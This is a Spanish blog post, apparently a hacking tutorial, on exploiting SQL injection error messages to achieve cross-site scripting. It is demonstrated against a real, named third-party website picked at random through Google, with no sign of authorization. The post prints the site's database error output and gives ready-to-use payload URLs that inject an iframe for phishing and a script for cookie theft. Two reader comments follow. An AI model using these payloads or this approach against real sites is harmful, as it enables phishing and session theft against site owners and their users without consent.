Explotar XSS mediante SQL Injection

Para complementar un poco lo que publicó d3m4s1@d0v1v0 en ITFreekZone sobre el Reflected XSS mediante SQL Injection, me gustaría demostrarles otra manera de realizar Cross-Site Scripting aprovechandose de una vulnerabilidad de inyección SQL.
La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas simples o dobles, o similar, basta con que podamos generar un error por lado del servidor por ejemplo cambiando un número (id) por una letra (en el caso de oracle, sql server u otros que tengan problemas de compatibilidad por el tipo de dato pasado), agregas signos raros o una comilla obligando a que el servidor arroje un error de sintáxis, lo que vamos a hacer es insertar código javascript justo donde se genera el error sql.

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio https://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a https://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

  1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: https://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=https://www.google.cl%3E%3C/iframe%3E
    (puede leer más sobre esto en un post que publiqué hace un tiempo)
  2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: https://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

2 comentarios

  1. Muy interesante, creo que en otro artículo habías dicho que usabas estos ataques a traves del error devuelto por el servidor.
    Realmente es muy feo que esté activado el debugging en los servidores cuando una página ya está en producción, esto no solo permite este tipo de ataques, sino que también facilita muchísimo la tarea de armar consultas SQL. La página que mostras como ejemplo dice de todo, q usa MySQL, que la tabla se llama inventory y q tiene un campo llamado id… no deja mucho para la imaginación =P

    Creo que esto complementa muy bien mi artículo, mostrando otra forma de ataque XSS a través de SQLi, gracias por compartirlo.
    Saludos!

  2. hola que tal miren tengo un problema con un formulario aqui el codigo no me inserta dato en la base de datos.

    Formulario de Datos

    Nombre:

    Apellido Paterno:

    Apellido Materno:

    Sexo
    Masculino
    Femenino

    Estado o Ciudad:

    pero ademas me saca un erro el momento de sacar el formulario para la insercion es este:
    Problemas en el selectYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 2

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.